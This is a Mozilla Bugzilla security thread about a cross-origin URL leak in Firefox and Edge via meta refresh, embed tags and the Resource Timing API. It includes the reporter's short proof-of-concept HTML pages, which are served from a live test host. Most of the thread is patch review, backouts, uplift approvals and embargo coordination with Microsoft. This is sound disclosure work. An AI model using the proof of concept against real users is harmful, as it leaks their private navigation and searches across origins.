James Lee Reporter
	Description • 6 years ago

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36

Steps to reproduce:

IMO, the fix for the following issue is incomplete: https://bugzilla.mozilla.org/show_bug.cgi?id=1246956

We can still access to the Cross-Origin URL, which should be blocked.

This issue has been found in Microsoft Edge too.

Proof Of Concept:

redireg.html:

<embed src="/con.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the address bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

con.html:

<meta http-equiv="refresh" content="0;url=https://www.bing.com/search?q=test">

histback.html:

<Script>
history.back();
</script>

Test live on Microsoft Edge / Mozilla Firefox: http://pwning.click/redireg.html

While Microsoft Edge also allows to steal saved frame's history navigation through performance.getEntries() and embed tag, Mozilla Firefox only allows to access to Cross-Origin URL, but still this should not happen.

As this report involves Microsoft Edge's Cross-Origin URL access Vulnerability, please do not open this report publicly eventhough this is not considered as a Vulnerability or after problem is resolved.


Actual results:

Mozilla Firefox allows us to access Cross-Origin URL


Expected results:

Accessing to Cross-Origin URL should be not possible.

	James Lee Reporter
	Comment 1 • 6 years ago

The Original report for Microsoft Edge Information disclosure across origins:

Hi, there is Information disclosure issue in Microsoft Edge where failing to keep history information.

First, A framed navigation in the src attribute of the embed confuses this browser and a functionality problem ends up being a security bug.

We are using HTML <meta> http-equiv Attribute page that redirects to site and navigate inside an embed tag. There is a functionality bug in Microsoft Edge, which overrides the latest location when we use Iframe tag, so instead I used embed tag to grab latest history information inside embed, we can fool the browser and make it remember the typed information in the wrong place. 

This works because Microsoft Edge confuses when we load a redirection page with <meta> http-equiv Attribute inside an embed tag, which allows us to access information across origins.

However, we need to use history.back() to make sure embed tag remember the typed information.

Proof Of Concept:

redireg.html:

<embed src="/con.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<meta http-equiv="refresh" content="6;url=http://pwning.click/histback.html">
<b>
<br>
<br>
<br>
Type anything into the address bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

con.html:

<meta http-equiv="refresh" content="0;url=https://www.bing.com/search?q=test">

histback.html:

<Script>
history.back();
</script>

Test live on Microsoft Edge: http://pwning.click/redireg.html

Test img:






Microsoft Edge Version, tested on latest Windows Insider Preview.

	James Lee Reporter
	Comment 2 • 6 years ago

Tested on Firefox ESR 52.8.1 (64-bit).

	James Lee Reporter
	Comment 3 • 6 years ago

Testing for Firefox only:

http://pwning.click/redirffeg.php

	:Gijs (he/him)
	Comment 4 • 6 years ago

Dragana/Mike, can you take a look? Looking at the original bug, is originalURI not set for meta-refreshes, only for http header redirects, or something?

	:Gijs (he/him)
	Comment 5 • 6 years ago

Though actually, given there's no requirement to restart the browser to reproduce here, I guess this is a docshell issue...

	Daniel Veditz [:dveditz]
	Comment 6 • 6 years ago

Do you have any kind of reference number from MSRC on this issue? If so please add that to this bug so we can coordinate with them on an embargo.

	James Lee Reporter
	Comment 7 • 6 years ago

Yes, MSRC has opened Case number 45809.

	James Lee Reporter
	Comment 8 • 6 years ago

CRM:0461051058

	Olli Pettay [:smaug][bugs@pettay.fi]
	Comment 10 • 6 years ago

Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

Have you gone through all the places where a new nsIDocShellLoadInfo is used?
nsDocShellLoadInfo::SetOriginalURI seems to be called only in some of those cases. Is that ok?

	Dragana Damjanovic [:dragana] Assignee
	Comment 11 • 6 years ago

(In reply to Olli Pettay [:smaug] from comment #10)
> Comment on attachment 8987260 [details] [diff] [review]
> bug_1468523_v0.patch
> 
> Have you gone through all the places where a new nsIDocShellLoadInfo is used?
> nsDocShellLoadInfo::SetOriginalURI seems to be called only in some of those
> cases. Is that ok?

I have check them all and also I have checked InternlLoad and LoadURI calls as well. I thinks that all cases are covered but I have to say that I am not the expert on DocShell. Maybe it would be good that someone with more knowledge check them as well.

	Dragana Damjanovic [:dragana] Assignee
	Comment 12 • 6 years ago

Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
The patch shows what the problem is (originURI was introduce to mitigate similar problems, so it is obvious what the problem is). Although it only affects sites with meta http-equiv="refresh".

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The patch does simple shows what the problem is.

Which older supported branches are affected by this flaw?
all

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? 

If not, how different, hard to create, and risky will they be? The patch should apply to all branches, if not it is easy to rebase it and it is not risky.

How likely is this patch to cause regressions; how much testing does it need? It is very unlikely that it will cause regressions.

	Al Billings [:abillings - ex-MoCo]
	Comment 13 • 6 years ago

Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

Sec-approval+ for trunk.
We'll want to patches made and nominated for Beta and ESR60 as well.

	Dragana Damjanovic [:dragana] Assignee
	Comment 14 • 6 years ago

Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: Stealing of URL cross-domain using performance.getEntries() 
Fix Landed on Version:63
Risk to taking this patch (and alternatives if risky): very low risk, probably none.
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: long existing bug
[User impact if declined]: Stealing of URL cross-domain using performance.getEntries() 
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]: not yet, I did local testing since there are steps to reproduce.
[Needs manual test from QE? If yes, steps to reproduce]: there are described in comment #3
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: no
[Why is the change risky/not risky?]: one-line change. it sets a value to a variable that is use only for one purpose(code involving this variable is very contained, therefore easy to say that there should not be side effects)
[String changes made/needed]:none

	Liz Henry (:lizzard) (relman/hg->git project)
	Comment 15 • 6 years ago

This has sec-approval to land, but I'm not sure if there's anything special we need to know or do to coordinate with the Edge team.   Al, Dan, anything I need to know for that?  Are we definitely OK to land this fix on m-c and beta? Thanks.

	Daniel Veditz [:dveditz]
	Comment 16 • 6 years ago

"Embargo" is about what we publish, it may mean not listing this fix in the security advisories or being appropriately vague. The sec-approval process will take that into account for whether it affects when or if we land a fix but most of the time it doesn't delay us from landing a fix.

	Al Billings [:abillings - ex-MoCo]
	Comment 17 • 6 years ago

I forgot to mark the s-a flag. Fixed now and approvals given.

	Ryan VanderMeulen [:RyanVM]
	Comment 18 • 6 years ago

Comment on attachment 8987260 [details] [diff] [review]
bug_1468523_v0.patch

https://hg.mozilla.org/integration/mozilla-inbound/rev/93540ca16c31b162c6c11a120da897428f094398

	Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
	Comment 19 • 6 years ago

This got backed out for mochitest failures in test_bug475636.html and more:

https://hg.mozilla.org/mozilla-central/rev/37ba626521b5

Push with failures: https://treeherder.mozilla.org/#/jobs?repo=mozilla-inbound&revision=93540ca16c31b162c6c11a120da897428f094398&filter-resultStatus=testfailed&filter-resultStatus=busted&filter-resultStatus=exception&filter-resultStatus=retry&filter-resultStatus=usercancel&filter-resultStatus=runnable
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=186329062&repo=mozilla-inbound

[task 2018-07-04T00:53:54.077Z]     INFO - TEST-START | docshell/test/test_bug475636.html
[task 2018-07-04T00:53:54.200Z]     INFO -  @@@@@@@@@hi there: 1
[task 2018-07-04T00:53:54.256Z]     INFO -  @@@@@@@@@hi there: 2
[task 2018-07-04T00:53:54.297Z]     INFO -  @@@@@@@@@hi there: 1
[task 2018-07-04T00:53:54.333Z]     INFO -  @@@@@@@@@hi there: 3
[task 2018-07-04T00:53:54.374Z]     INFO -  @@@@@@@@@hi there: 1
[task 2018-07-04T00:53:54.411Z]     INFO -  @@@@@@@@@hi there: 4
[task 2018-07-04T00:53:54.458Z]     INFO - TEST-INFO | started process screentopng
[task 2018-07-04T00:53:54.465Z]     INFO -  @@@@@@@@@hi there: 5
[task 2018-07-04T00:53:54.545Z]     INFO -  @@@@@@@@@hi there: 6
[task 2018-07-04T00:53:54.833Z]     INFO - TEST-INFO | screentopng: exit 0
[task 2018-07-04T00:53:54.834Z]     INFO - Buffered messages logged at 00:53:54
[task 2018-07-04T00:53:54.834Z]     INFO - TEST-PASS | docshell/test/test_bug475636.html | undefined assertion name 
[task 2018-07-04T00:53:54.836Z]     INFO - TEST-PASS | docshell/test/test_bug475636.html | undefined assertion name 
[task 2018-07-04T00:53:54.837Z]     INFO - TEST-PASS | docshell/test/test_bug475636.html | undefined assertion name 
[task 2018-07-04T00:53:54.837Z]     INFO - Buffered messages finished
[task 2018-07-04T00:53:54.838Z]     INFO - TEST-UNEXPECTED-FAIL | docshell/test/test_bug475636.html | undefined assertion name - got "Able to access private: 42", expected "pass"
[task 2018-07-04T00:53:54.838Z]     INFO -     SimpleTest.is@SimpleTest/SimpleTest.js:312:5
[task 2018-07-04T00:53:54.839Z]     INFO -     runTests@docshell/test/test_bug475636.html:44:5
[task 2018-07-04T00:53:54.839Z]     INFO -     @docshell/test/test_bug475636.html:30:3
[task 2018-07-04T00:53:54.840Z]     INFO -     EventListener.handleEvent*@docshell/test/test_bug475636.html:29:1

Please also check the other failures on that push.

	Dragana Damjanovic [:dragana] Assignee
	Comment 20 • 6 years ago

Honza, can you please take a look. You have added resultPrincipalURI. Is this correct?

	Honza Bambas (:mayhemer)
	Comment 21 • 6 years ago

Comment on attachment 8990011 [details] [diff] [review]
bug_1468523_v0.patch

Review of attachment 8990011 [details] [diff] [review]:
-----------------------------------------------------------------

::: docshell/base/nsDocShell.cpp
@@ +6309,5 @@
>    loadInfo->SetReferrer(mCurrentURI);
>  
> +  loadInfo->SetOriginalURI(mCurrentURI);
> +  loadInfo->SetResultPrincipalURI(aURI);
> +  loadInfo->SetResultPrincipalURIIsSome(true);

good catch!

this is on a good way, but it's unfortunately not entirely correct..

during a 30X redirect handling in the old http channel we set the result principal URI (rpURI) on the new channel's load info ONLY when it's left null by the new channel's protocol handler (we may redir not only to http:), we don't set rpURI on http channels (these days..)

if we are redirected to something else than http: that sets rpURI (e.g. the moz: and sometimes the file:, chrome:, resource: and about: protocols) then it may break assumptions and mainly security checks.

one possible solution could be to use load types [1] as a condition to enforce rpURI replacement only when not already set on the channel's loadinfo, at [2].

other way would be (still a bit hacky!) to prevent refresh to anything else than http:, but that doesn't sound right to me.

[1] https://searchfox.org/mozilla-central/rev/6ef785903fee6c0b16a1eab79d722373d940fd78/docshell/base/nsDocShell.cpp#6231,6242
[2] https://searchfox.org/mozilla-central/rev/6ef785903fee6c0b16a1eab79d722373d940fd78/docshell/base/nsDocShell.cpp#10596-10598

	Honza Bambas (:mayhemer)
	Comment 23 • 6 years ago

Comment on attachment 8990700 [details] [diff] [review]
bug_1468523_v0.patch

Review of attachment 8990700 [details] [diff] [review]:
-----------------------------------------------------------------

::: docshell/base/nsDocShell.cpp
@@ +10704,5 @@
> +  channel->GetLoadFlags(&flags);
> +  nsCOMPtr<nsIURI> rpURI;
> +  loadInfo->GetResultPrincipalURI(getter_AddRefs(rpURI));
> +  if (aResultPrincipalURI &&
> +      (!((mLoadType | (LOAD_NORMAL_REPLACE) || (mLoadType | LOAD_REFRESH))) ||

I meant docshell type of load on loadinfo:
- nsIDocShellLoadInfo::loadNormalReplace
- nsIDocShellLoadInfo::loadRefresh

any reason why this is better/equiv?

	Honza Bambas (:mayhemer)
	Comment 24 • 6 years ago

Comment on attachment 8990700 [details] [diff] [review]
bug_1468523_v0.patch

Review of attachment 8990700 [details] [diff] [review]:
-----------------------------------------------------------------

unless there is an explanation why this is a better approach.

	Dragana Damjanovic [:dragana] Assignee
	Comment 25 • 6 years ago

I have one comment on this: I think we do not need to store ReplaceResultPrincipalURI into history. I tested it with a load form history and a session restore and it worked correctly. If you think I should add it, I will make a patch.

	Honza Bambas (:mayhemer)
	Comment 26 • 6 years ago

Comment on attachment 8992633 [details] [diff] [review]
bug_1468523_v1.patch

Review of attachment 8992633 [details] [diff] [review]:
-----------------------------------------------------------------

very close to what I had in mind.  just few questions before r+

::: docshell/base/nsDocShell.cpp
@@ +717,5 @@
>  
> +    if (resultPrincipalURI) {
> +      replaceResultPrincipalURI = (lt == nsIDocShellLoadInfo::loadNormalReplace) ||
> +                                  (lt == nsIDocShellLoadInfo::loadRefresh);
> +    }

oh, this is nice.. the load types have just been modified in bug 1472087!  but it seems to work the same way as before.

now it's LOAD_NORMAL_REPLACE and LOAD_REFRESH

why exactly do you need to set |replaceResultPrincipalURI| exactly this way and exactly here, so in advance?

@@ +10724,4 @@
>      // Unconditionally override, we want the replay to be equal to what has
>      // been captured.
>      loadInfo->SetResultPrincipalURI(aResultPrincipalURI.ref());
>    }

instead of "replaceRPURI" it IMO should be "keepRPURI", because we want to prevent replacing it in this specific refresh case (loadNormalReplace or loadRefresh).

the name, as is, is confusing for me.

btw, isn't really the load type available in some docshell member?  can't you take it from the loadInfo?

regarding the need for the arg/condition element, there are possible corner cases.  When there already is rpURI on the load info, we MUST keep it during the replace/refresh case.  In all other cases we force-replace it, always.

hence, just 

if (aResultPrincipalURI && !rpURI)

is not correct/enough at all unless I miss something.

	Dragana Damjanovic [:dragana] Assignee
	Comment 27 • 6 years ago

(In reply to Honza Bambas (:mayhemer) from comment #26)
> Comment on attachment 8992633 [details] [diff] [review]
> bug_1468523_v1.patch
> 
> Review of attachment 8992633 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> very close to what I had in mind.  just few questions before r+
> 
> ::: docshell/base/nsDocShell.cpp
> @@ +717,5 @@
> >  
> > +    if (resultPrincipalURI) {
> > +      replaceResultPrincipalURI = (lt == nsIDocShellLoadInfo::loadNormalReplace) ||
> > +                                  (lt == nsIDocShellLoadInfo::loadRefresh);
> > +    }
> 
> oh, this is nice.. the load types have just been modified in bug 1472087! 
> but it seems to work the same way as before.
> 
> now it's LOAD_NORMAL_REPLACE and LOAD_REFRESH
> 
> why exactly do you need to set |replaceResultPrincipalURI| exactly this way
> and exactly here, so in advance?

this is where we collect all information from a nsDocShellLoadInfo.

> 
> @@ +10724,4 @@
> >      // Unconditionally override, we want the replay to be equal to what has
> >      // been captured.
> >      loadInfo->SetResultPrincipalURI(aResultPrincipalURI.ref());
> >    }
> 
> instead of "replaceRPURI" it IMO should be "keepRPURI", because we want to
> prevent replacing it in this specific refresh case (loadNormalReplace or
> loadRefresh).
> 

ou are right it should be keepRPURI.

> the name, as is, is confusing for me.
> 
> btw, isn't really the load type available in some docshell member?  can't
> you take it from the loadInfo?
> 

I took it from loadInfo in my previous patch :) (you preferred nsIDocShellLoadInfo types). loadInfo holds a translated version of nsIDocShellLoadInfo type.

> regarding the need for the arg/condition element, there are possible corner
> cases.  When there already is rpURI on the load info, we MUST keep it during
> the replace/refresh case.  In all other cases we force-replace it, always.
> 
> hence, just 
> 
> if (aResultPrincipalURI && !rpURI)
> 
> is not correct/enough at all unless I miss something.

I am not sure I understand.

	Honza Bambas (:mayhemer)
	Comment 28 • 6 years ago

(In reply to Dragana Damjanovic [:dragana] from comment #27)
> (In reply to Honza Bambas (:mayhemer) from comment #26)
> I took it from loadInfo in my previous patch :) (you preferred
> nsIDocShellLoadInfo types). loadInfo holds a translated version of
> nsIDocShellLoadInfo type.

Ah!!!  Yes, my mistake, I'm really sorry for that!  I think mLoadType was the way to go all the time, I somehow misplaced that for load flags :((   

But OTOH you could freely oppose to comment 23 that this was actually equivalent ;)

> 
> > regarding the need for the arg/condition element, there are possible corner
> > cases.  When there already is rpURI on the load info, we MUST keep it during
> > the replace/refresh case.  In all other cases we force-replace it, always.
> > 
> > hence, just 
> > 
> > if (aResultPrincipalURI && !rpURI)
> > 
> > is not correct/enough at all unless I miss something.
> 
> I am not sure I understand.

I think the explanation, at least partial, is this: https://bugzilla.mozilla.org/show_bug.cgi?id=1319111#c174

To make sure I understand your original question here - you mean we don't need the `LOAD_NORMAL_REPLACE or LOAD_REFRESH` condition added and only add `if (!rpURI)`?  Comment 21 is trying to explain why we definitely don't.

The refresh/replace case is actually a redirect.  We somewhat `abuse` (may be too strong word, tho) the rpURI restore through the loadInfo structure.  To do it right, we must treat it the same way as in case of a redirect, e.g. in nsHttpChannel, i.e. set to the target URI, IF NULL.

For a normal restore load we want to override to the stored rpURI, regardless if the uri's handler has set some of its own, same or even different.  I can't find the comment or note why it's the case exactly, but I clearly remember talking about this with Boris once.  I believe the reason is we want to make sure the document URI is the same, which also applies to iframes, xml docs, embeded docs.  This uri is critical, since it's used for security checks.

Maybe we need to walk through this again and make sure we clearly understand why we do things the way we do but please not in this bug.

Does this make sense?

	Honza Bambas (:mayhemer)
	Comment 29 • 6 years ago

(In reply to Honza Bambas (:mayhemer) from comment #28)
> in nsHttpChannel, i.e. set to the target URI, IF NULL.

i.e. to set rpURI to be the target URI (the one we created the channel for), if rpURI is null.  if rpURI is non-null, leave it.

	Dragana Damjanovic [:dragana] Assignee
	Comment 30 • 6 years ago

So I left the keepResultPrincipalURIIfSet because nsIDocShellLoadInfo::loadNormalReplace can be set in other cases as well.

	Dragana Damjanovic [:dragana] Assignee
	Comment 31 • 6 years ago

(In reply to Honza Bambas (:mayhemer) from comment #28)

> I think the explanation, at least partial, is this:
> https://bugzilla.mozilla.org/show_bug.cgi?id=1319111#c174
> 
> To make sure I understand your original question here - you mean we don't
> need the `LOAD_NORMAL_REPLACE or LOAD_REFRESH` condition added and only add
> `if (!rpURI)`?  Comment 21 is trying to explain why we definitely don't.
> 
> The refresh/replace case is actually a redirect.  We somewhat `abuse` (may
> be too strong word, tho) the rpURI restore through the loadInfo structure. 
> To do it right, we must treat it the same way as in case of a redirect, e.g.
> in nsHttpChannel, i.e. set to the target URI, IF NULL.
> 
> For a normal restore load we want to override to the stored rpURI,
> regardless if the uri's handler has set some of its own, same or even
> different.  I can't find the comment or note why it's the case exactly, but
> I clearly remember talking about this with Boris once.  I believe the reason
> is we want to make sure the document URI is the same, which also applies to
> iframes, xml docs, embeded docs.  This uri is critical, since it's used for
> security checks.
> 
> Maybe we need to walk through this again and make sure we clearly understand
> why we do things the way we do but please not in this bug.
> 
> Does this make sense?

now I understand how all of this works. Thanks.

	Honza Bambas (:mayhemer)
	Comment 32 • 6 years ago

Comment on attachment 8993253 [details] [diff] [review]
bug_1468523_v2.patch

Review of attachment 8993253 [details] [diff] [review]:
-----------------------------------------------------------------

Clearest and best possible solution, thanks!

note that we don't need to persist this new docshellloadinfo property in session store because:
- when storing a page state we are storing the correct value for rpURI (that may have been set according the "keep-if-set" flag) and thus no longer need the flag
- the value "true" is never used for session restore, only for meta refresh which never comes from the session store code

	Dragana Damjanovic [:dragana] Assignee
	Comment 33 • 6 years ago

(In reply to Honza Bambas (:mayhemer) from comment #32)
> Comment on attachment 8993253 [details] [diff] [review]
> bug_1468523_v2.patch
> 
> Review of attachment 8993253 [details] [diff] [review]:
> -----------------------------------------------------------------
> 
> Clearest and best possible solution, thanks!
> 
> note that we don't need to persist this new docshellloadinfo property in
> session store because:
> - when storing a page state we are storing the correct value for rpURI (that
> may have been set according the "keep-if-set" flag) and thus no longer need
> the flag
> - the value "true" is never used for session restore, only for meta refresh
> which never comes from the session store code

Yes I came to the same conclusion about session history.

	Dragana Damjanovic [:dragana] Assignee
	Comment 34 • 6 years ago

Comment on attachment 8993253 [details] [diff] [review]
bug_1468523_v2.patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
The patch shows what the problem is (originURI was introduce to mitigate similar problems, so it is obvious what the problem is). Although it only affects sites with meta http-equiv="refresh".

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The patch does simple shows what the problem is.

Which older supported branches are affected by this flaw?
all

If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? yes

If not, how different, hard to create, and risky will they be? it was easy to rebase the patch.

How likely is this patch to cause regressions; how much testing does it need? I believe it is unlikely that it will cause regressions. The patch carefully adds the new code so that it does not cause regressions with some corner cases (I made sure that only this specific code path is affected by the change and other code-paths are unaffected).

	Daniel Veditz [:dveditz]
	Comment 35 • 6 years ago

Comment on attachment 8993253 [details] [diff] [review]
bug_1468523_v2.patch

sec-approval=dveditz

	Dragana Damjanovic [:dragana] Assignee
	Comment 36 • 6 years ago

rebased for beta

Approval Request Comment
[Feature/Bug causing the regression]:
[User impact if declined]:
[Is this code covered by automated tests?]:
[Has the fix been verified in Nightly?]:
[Needs manual test from QE? If yes, steps to reproduce]: 
[List of other uplifts needed for the feature/fix]:
[Is the change risky?]:
[Why is the change risky/not risky?]:
[String changes made/needed]:

Approval Request Comment
[Feature/Bug causing the regression]: long existing bug
[User impact if declined]: Stealing of URL cross-domain using performance.getEntries() 
[Is this code covered by automated tests?]: no
[Has the fix been verified in Nightly?]: not yet, I did local testing since there are steps to reproduce.
[Needs manual test from QE? If yes, steps to reproduce]: there are described in comment #3
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: I think not, but I cannot tell for sure.
[Why is the change risky/not risky?]: I believe it is unlikely that it will cause regressions. The patch carefully adds the new code so that it does not cause regressions with some corner cases (I made sure that only this specific code path is affected by the change and other code-paths are unaffected).
[String changes made/needed]:none

	Dragana Damjanovic [:dragana] Assignee
	Comment 37 • 6 years ago

Rebased patch for esr60


[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: Stealing of URL cross-domain using performance.getEntries() 
Fix Landed on Version:63
Risk to taking this patch (and alternatives if risky): I believe it is unlikely that it will cause regressions. The patch carefully adds the new code so that it does not cause regressions with some corner cases (I made sure that only this specific code path is affected by the change and other code-paths are unaffected).
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

	Ritu Kothari (:ritu) (Inactive, please n-i to RyanVM, jcristau, or pascal)
	Comment 38 • 6 years ago

Comment on attachment 8994195 [details] [diff] [review]
bug_1468523_beta.patch

Sec-high, Beta62+

	Ritu Kothari (:ritu) (Inactive, please n-i to RyanVM, jcristau, or pascal)
	Comment 39 • 6 years ago

Comment on attachment 8994196 [details] [diff] [review]
bug_1468523_esr60.patch

Sec-high, ESR60.2+

	Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
	Comment 40 • 6 years ago

Daniel, can this land or does this need coordinated landing/release efforts with the Edge team due to the embargo? Can't find any documentation for that. Thank you.

	Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
	Comment 41 • 6 years ago

Dragana, please update the patch for trunk, there are conflicts (the parent is 1.5 months old). Thank you.

Needinfo is answered in comment 16.

	Dragana Damjanovic [:dragana] Assignee
	Comment 42 • 6 years ago

rebased.

	Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
	Comment 43 • 6 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/7f79ca528297c2f67d558fe2880171ef0cc63146

	Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
	Comment 44 • 6 years ago
beta

https://hg.mozilla.org/releases/mozilla-beta/rev/7a7bb13a3f14

	Mihai Boldan, Desktop QA [:mboldan]
	Comment 45 • 6 years ago

I managed to reproduce this issue on Firefox 62.0a1 (2018-06-12), under Windows 10x64, using the test page from Comment 3.
I noticed that on Firefox 62.0b12 'http://pwning.click/con.html' is displayed and on Firefox 63.0a1 (2018-07-29) 'http://pwning.click/favicon.ico'. Is expected to have different results on Nightly and Beta builds? 
Tests were performed under Windows 10x64, macOS 10.12.6 and under Ubuntu 18.04x64.

Note that on affected bulds, 'https://www.bing.com/search?q=test' is displayed.

	Dragana Damjanovic [:dragana] Assignee
	Comment 46 • 6 years ago

(In reply to Mihai Boldan, QA [:mboldan] from comment #45)
> I managed to reproduce this issue on Firefox 62.0a1 (2018-06-12), under
> Windows 10x64, using the test page from Comment 3.
> I noticed that on Firefox 62.0b12 'http://pwning.click/con.html' is
> displayed and on Firefox 63.0a1 (2018-07-29)
> 'http://pwning.click/favicon.ico'. Is expected to have different results on
> Nightly and Beta builds? 

I think it is a timing issue (whether it is showing 'http://pwning.click/con.html' or 'http://pwning.click/favicon.ico'.

The important thing is that is not showing 'https://www.bing.com/search?q=test'.

> Tests were performed under Windows 10x64, macOS 10.12.6 and under Ubuntu
> 18.04x64.
> 
> Note that on affected bulds, 'https://www.bing.com/search?q=test' is
> displayed.

	Ryan VanderMeulen [:RyanVM]
	Comment 47 • 6 years ago
uplift

https://hg.mozilla.org/releases/mozilla-esr60/rev/5c8d99292b7b

	Al Billings [:abillings - ex-MoCo]
	Comment 48 • 6 years ago

Has Edge fixed this? Is this issue still under embargo for security advisories and public comment?

	James Lee Reporter
	Comment 49 • 6 years ago

Yes, Microsoft fixed the issue: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8351
However, I want to keep this report private as I found a variant of this issue on Microsoft Edge.

	Mihai Boldan, Desktop QA [:mboldan]
	Comment 50 • 6 years ago

Taking in consideration Comment 45 and Comment 46, I'm marking this issue Verified Fixed.

	Al Billings [:abillings - ex-MoCo]
	Comment 51 • 6 years ago

Minusing for advisories based on comment 49 for Firefox 62 and 60.2.

	James Lee Reporter
	Comment 52 • 6 years ago

Does description in the security advisories need to be specific? as far as report stays private and information on the advisories being vague isn't that ok? Also, that variant uses different trick as I mentioned before.
e.g. description might include "Same Origin Policy Violation using Resource Timing API" but not include something like "redirection using a meta-refresh"

Note that original bug with this trick has been fixed anyways.

	Al Billings [:abillings - ex-MoCo]
	Comment 53 • 6 years ago

We need to have some detail. We're not going to disclose this in the Firefox 62 advisories until after Edge has addressed the basic issue.

	James Lee Reporter
	Comment 54 • 6 years ago

Did you checked that Microsoft has fixed MSRC Case  45809  CRM:0461051058 report?
This issue has been fixed on August update. Also, maybe description could be something like this? since it looks similar to this one: https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#﷒0﷓

	James Lee Reporter
	Comment 55 • 6 years ago

If you open http://pwning.click/redirffeg.php on Microsoft Edge, it alerts "http://pwning.click/con.html" which is expected behavior. 
I don't understand why this should be not on Security Advisories.

	Mihai Boldan, Desktop QA [:mboldan]
	Comment 56 • 6 years ago

Dragana Damjanovic do you know if this fix landed in Firefox 60.2.0esr? 
If it did, something is wrong there since https://www.bing.com/search?q=test is displayed when accessing http://pwning.click/con.html.
Tests were executed under Windows 10x64, Ubuntu 16.04x86 and MacOS 10.12.

	James Lee Reporter
	Comment 57 • 6 years ago

A variant has been fixed on Microsoft Edge: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8366
Will this be added on Security Advisories?
Also, do I get bounty for this report?

	Al Billings [:abillings - ex-MoCo]
	Comment 58 • 6 years ago

(In reply to James Lee from comment #57)
> A variant has been fixed on Microsoft Edge:
> https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-
> 8366
> Will this be added on Security Advisories?

If Microsoft has fixed their versions of the issue, it should be added to the advisories for the previous release.

> Also, do I get bounty for this report?

In the future, please follow the bounty program guidelines at https://www.mozilla.org/en-US/security/client-bug-bounty/ which state:

> If you have filed the bug directly in Bugzilla without using the Bugzilla client bug bounty form, notify the Mozilla Security Group by email to security@mozilla.org and include the number of the bug you filed and a mention that you are submitting it for bounty consideration. Do not send the actual vulnerability via email.

Asking for security bounties in bugs is not how Mozilla processes bounty requests normally.

	James Lee Reporter
	Comment 59 • 6 years ago

Ah I see, I should have read guidelines before asking, my bad. I'll report through https://bugzilla.mozilla.org/form.client.bounty from now on, thanks for the information.

Btw, please credit me as "James Lee of Kryptos Logic"

	Al Billings [:abillings - ex-MoCo]
	Comment 60 • 6 years ago

What is the bug ID for the reported Edge issue so I can confirm with Microsoft that this is fixed in Edge and released?

	James Lee Reporter
	Comment 61 • 6 years ago

Following is case information of this month's fix: MSRC Case 47204  CRM:0461060727

	Al Billings [:abillings - ex-MoCo]
	Comment 62 • 6 years ago

I'm adding the Microsoft contact. They state that there are variant issues that won't be fixed until the November 13 update so they would prefer to keep public disclosure quiet until after they ship their final fixes.

	Valentin Gosu [:valentin] (he/him)
	Comment 63 • 6 years ago

(In reply to Mihai Boldan, QA [:mboldan] from comment #56)
> Dragana Damjanovic do you know if this fix landed in Firefox 60.2.0esr? 
> If it did, something is wrong there since https://www.bing.com/search?q=test
> is displayed when accessing http://pwning.click/con.html.
> Tests were executed under Windows 10x64, Ubuntu 16.04x86 and MacOS 10.12.

It seems that http://pwning.click/con.html does a meta refresh to https://www.bing.com/search?q=test
From what I can tell this is what is supposed to happen.
The repro in comment 0 seems to be fixed though.

	Mihai Boldan, Desktop QA [:mboldan]
	Comment 64 • 6 years ago

Taking in consideration Comment 63, I'm marking this issue verified also on the ESR build.

	James Lee Reporter
	Comment 65 • 6 years ago

November update has been released: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8545